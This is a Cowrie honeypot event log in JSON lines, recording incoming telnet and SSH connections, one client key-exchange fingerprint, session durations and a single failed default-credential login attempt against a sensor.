{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:27.577689Z","src_ip":"103.215.80.173","session":"1cccbb227f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":50776,"dst_ip":"10.17.0.5","dst_port":23,"session":"0658d515aa76","protocol":"telnet","message":"New connection: 152.53.125.71:50776 (10.17.0.5:23) [session: 0658d515aa76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:28.266059Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":50782,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f07cf40d3d3","protocol":"telnet","message":"New connection: 152.53.125.71:50782 (10.17.0.5:23) [session: 7f07cf40d3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:28.426808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":50784,"dst_ip":"10.17.0.5","dst_port":23,"session":"913e7707defc","protocol":"telnet","message":"New connection: 152.53.125.71:50784 (10.17.0.5:23) [session: 913e7707defc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:28.551636Z"}
{"eventid":"cowrie.login.failed","username":"nfsuser","password":"nfsuser","message":"login attempt [nfsuser/nfsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:29.532634Z","src_ip":"103.215.80.173","session":"1cccbb227f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51692,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20acef076bd","protocol":"telnet","message":"New connection: 169.38.112.222:51692 (10.17.0.5:23) [session: c20acef076bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:29.964479Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:30.740446Z","src_ip":"103.215.80.173","session":"1cccbb227f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51694,"dst_ip":"10.17.0.5","dst_port":23,"session":"c79aba26833b","protocol":"telnet","message":"New connection: 169.38.112.222:51694 (10.17.0.5:23) [session: c79aba26833b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:31.146988Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56886,"dst_ip":"159.203.135.109","dst_port":23,"session":"92164612a12b","protocol":"telnet","message":"New connection: 103.137.231.186:56886 (159.203.135.109:23) [session: 92164612a12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:31.172177Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35318,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3a1b8ed5b5","protocol":"telnet","message":"New connection: 103.137.231.186:35318 (159.203.135.109:23) [session: 3c3a1b8ed5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:31.573014Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51706,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c4e610dfc1b","protocol":"telnet","message":"New connection: 169.38.112.222:51706 (10.17.0.5:23) [session: 2c4e610dfc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:31.768244Z"}
{"eventid":"cowrie.session.closed","duration":30.4046630859375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:33.134497Z","src_ip":"169.38.112.222","session":"83e5925ccca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35324,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ad465507a8","protocol":"telnet","message":"New connection: 103.137.231.186:35324 (159.203.135.109:23) [session: b4ad465507a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:33.684348Z"}
{"eventid":"cowrie.session.closed","duration":30.55966281890869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:34.106545Z","src_ip":"169.38.112.222","session":"42fe05ae0f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35338,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ae45e8e5987","protocol":"telnet","message":"New connection: 103.137.231.186:35338 (159.203.135.109:23) [session: 6ae45e8e5987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:34.560952Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":50792,"dst_ip":"10.17.0.5","dst_port":23,"session":"98434590552c","protocol":"telnet","message":"New connection: 152.53.125.71:50792 (10.17.0.5:23) [session: 98434590552c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:34.650839Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51712,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e03f476357a","protocol":"telnet","message":"New connection: 169.38.112.222:51712 (10.17.0.5:23) [session: 9e03f476357a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:34.812675Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35320,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b1a45942925","protocol":"telnet","message":"New connection: 103.137.231.186:35320 (159.203.135.109:23) [session: 3b1a45942925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:34.837656Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35330,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ecf8e5a1c0d","protocol":"telnet","message":"New connection: 103.137.231.186:35330 (159.203.135.109:23) [session: 9ecf8e5a1c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:34.994886Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26a13d9a842","protocol":"telnet","message":"New connection: 152.53.125.71:37090 (10.17.0.5:23) [session: c26a13d9a842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:35.849397Z"}
{"eventid":"cowrie.session.closed","duration":39.57109975814819,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:35.971981Z","src_ip":"159.203.13.64","session":"ae06a5373a83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564056396484375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:36.120742Z","src_ip":"169.38.112.222","session":"685a9bec22fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577595472335815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:36.262001Z","src_ip":"103.137.231.186","session":"cf2bac244104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.995469093322754,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:36.509186Z","src_ip":"159.203.13.64","session":"d411798c8058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42360,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9c59acf4029","protocol":"telnet","message":"New connection: 169.38.112.222:42360 (10.17.0.5:23) [session: e9c59acf4029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:36.517286Z"}
{"eventid":"cowrie.session.closed","duration":30.458245992660522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:37.160662Z","src_ip":"169.38.112.222","session":"42f4101ea81a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26354718208313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:37.165189Z","src_ip":"169.38.112.222","session":"a1fd469a2b5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35352,"dst_ip":"159.203.135.109","dst_port":23,"session":"d66b03289a1f","protocol":"telnet","message":"New connection: 103.137.231.186:35352 (159.203.135.109:23) [session: d66b03289a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:37.583117Z"}
{"eventid":"cowrie.session.closed","duration":30.774733781814575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:38.279806Z","src_ip":"152.53.125.71","session":"cf18a940031d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42364,"dst_ip":"10.17.0.5","dst_port":23,"session":"96630d37251b","protocol":"telnet","message":"New connection: 169.38.112.222:42364 (10.17.0.5:23) [session: 96630d37251b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:38.619826Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42374,"dst_ip":"10.17.0.5","dst_port":23,"session":"2be16cc38e46","protocol":"telnet","message":"New connection: 169.38.112.222:42374 (10.17.0.5:23) [session: 2be16cc38e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:38.676358Z"}
{"eventid":"cowrie.session.closed","duration":31.255406141281128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:39.006266Z","src_ip":"103.137.231.186","session":"6390d6eed78e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42382,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3940e94bff","protocol":"telnet","message":"New connection: 169.38.112.222:42382 (10.17.0.5:23) [session: 3e3940e94bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:39.510777Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42388,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e5f9aa92f82","protocol":"telnet","message":"New connection: 169.38.112.222:42388 (10.17.0.5:23) [session: 7e5f9aa92f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:39.525267Z"}
{"eventid":"cowrie.session.closed","duration":34.047600746154785,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:40.439054Z","src_ip":"162.253.42.116","session":"0438de043b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42362,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4696c3eb321","protocol":"telnet","message":"New connection: 169.38.112.222:42362 (10.17.0.5:23) [session: c4696c3eb321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:40.500847Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51842,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8cb8c044114","protocol":"telnet","message":"New connection: 103.137.231.186:51842 (159.203.135.109:23) [session: a8cb8c044114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:41.015354Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ae52cda0069","protocol":"telnet","message":"New connection: 103.137.231.186:51856 (159.203.135.109:23) [session: 4ae52cda0069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:41.200917Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f544ecb02112","protocol":"telnet","message":"New connection: 103.137.231.186:51872 (159.203.135.109:23) [session: f544ecb02112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:41.567101Z"}
{"eventid":"cowrie.session.closed","duration":30.537526845932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:42.122098Z","src_ip":"169.38.112.222","session":"d589bd148470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37100,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e98e9978664","protocol":"telnet","message":"New connection: 152.53.125.71:37100 (10.17.0.5:23) [session: 5e98e9978664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:42.543178Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50640,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da7875e924d","protocol":"telnet","message":"New connection: 159.203.13.64:50640 (10.17.0.5:23) [session: 2da7875e924d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:43.145076Z"}
{"eventid":"cowrie.session.closed","duration":30.660669803619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:43.187339Z","src_ip":"169.38.112.222","session":"20fca0467a95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3855c6b6dff","protocol":"telnet","message":"New connection: 169.38.112.222:42402 (10.17.0.5:23) [session: f3855c6b6dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:43.581442Z"}
{"eventid":"cowrie.session.closed","duration":30.293802738189697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:44.115760Z","src_ip":"169.38.112.222","session":"1bb406fdb551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42416,"dst_ip":"10.17.0.5","dst_port":23,"session":"0131737bb675","protocol":"telnet","message":"New connection: 169.38.112.222:42416 (10.17.0.5:23) [session: 0131737bb675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:44.120698Z"}
{"eventid":"cowrie.session.closed","duration":31.164165019989014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:44.270310Z","src_ip":"152.53.125.71","session":"940a6a8a3d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5dd50692014","protocol":"telnet","message":"New connection: 152.53.125.71:37104 (10.17.0.5:23) [session: b5dd50692014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:44.419830Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51878,"dst_ip":"159.203.135.109","dst_port":23,"session":"56690483d787","protocol":"telnet","message":"New connection: 103.137.231.186:51878 (159.203.135.109:23) [session: 56690483d787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:44.854410Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51894,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec35502a6dd4","protocol":"telnet","message":"New connection: 103.137.231.186:51894 (159.203.135.109:23) [session: ec35502a6dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:44.867604Z"}
{"eventid":"cowrie.session.closed","duration":30.441030740737915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:45.117111Z","src_ip":"169.38.112.222","session":"32e2cd10825c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962717294692993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:45.212489Z","src_ip":"152.53.125.71","session":"0cddbf53f368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42430,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe22267ba81","protocol":"telnet","message":"New connection: 169.38.112.222:42430 (10.17.0.5:23) [session: efe22267ba81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:45.456119Z"}
{"eventid":"cowrie.session.closed","duration":30.758700609207153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:45.498763Z","src_ip":"103.137.231.186","session":"ebf03984ace9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55790638923645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:46.122837Z","src_ip":"169.38.112.222","session":"23c0f031f754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628302574157715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:46.165641Z","src_ip":"169.38.112.222","session":"d9424363b92f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46929621696472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:46.193816Z","src_ip":"103.137.231.186","session":"50800fca1ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.042333602905273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:46.199115Z","src_ip":"169.38.112.222","session":"9b08e47b3f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864054918289185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:46.294078Z","src_ip":"103.137.231.186","session":"6effda376b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51916,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f48296b2fcf","protocol":"telnet","message":"New connection: 103.137.231.186:51916 (159.203.135.109:23) [session: 4f48296b2fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:46.958292Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":53054,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c05fd8fd16d","protocol":"telnet","message":"New connection: 169.38.112.222:53054 (10.17.0.5:23) [session: 5c05fd8fd16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:48.614514Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51910,"dst_ip":"159.203.135.109","dst_port":23,"session":"c41b47fca713","protocol":"telnet","message":"New connection: 103.137.231.186:51910 (159.203.135.109:23) [session: c41b47fca713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:48.836958Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49216,"dst_ip":"159.203.135.109","dst_port":23,"session":"3762dbe2dc74","protocol":"telnet","message":"New connection: 103.137.231.186:49216 (159.203.135.109:23) [session: 3762dbe2dc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:48.943716Z"}
{"eventid":"cowrie.session.closed","duration":30.40590000152588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:50.148025Z","src_ip":"169.38.112.222","session":"c73e6f97bb87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51922,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a11b37a8511","protocol":"telnet","message":"New connection: 103.137.231.186:51922 (159.203.135.109:23) [session: 9a11b37a8511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:50.253394Z"}
{"eventid":"cowrie.session.closed","duration":30.728464126586914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:51.097087Z","src_ip":"152.53.125.71","session":"d94caa329e07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33837389945984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:51.163754Z","src_ip":"169.38.112.222","session":"a030334fa96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35084366798401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:51.263796Z","src_ip":"103.137.231.186","session":"0cf61ce98363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49234,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c9b14d0c95","protocol":"telnet","message":"New connection: 103.137.231.186:49234 (159.203.135.109:23) [session: 58c9b14d0c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:51.320276Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":53062,"dst_ip":"10.17.0.5","dst_port":23,"session":"faf800e425ad","protocol":"telnet","message":"New connection: 169.38.112.222:53062 (10.17.0.5:23) [session: faf800e425ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:51.568479Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49220,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd2c2bb0415","protocol":"telnet","message":"New connection: 103.137.231.186:49220 (159.203.135.109:23) [session: 4cd2c2bb0415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:51.637042Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":53064,"dst_ip":"10.17.0.5","dst_port":23,"session":"424b19309ed0","protocol":"telnet","message":"New connection: 169.38.112.222:53064 (10.17.0.5:23) [session: 424b19309ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:52.016872Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":53074,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6f5e5c2ca94","protocol":"telnet","message":"New connection: 169.38.112.222:53074 (10.17.0.5:23) [session: f6f5e5c2ca94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:52.531087Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d2f547a6a2","protocol":"telnet","message":"New connection: 103.137.231.186:49240 (159.203.135.109:23) [session: b1d2f547a6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:52.629919Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49256,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6477771489e","protocol":"telnet","message":"New connection: 103.137.231.186:49256 (159.203.135.109:23) [session: f6477771489e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:53.459115Z"}
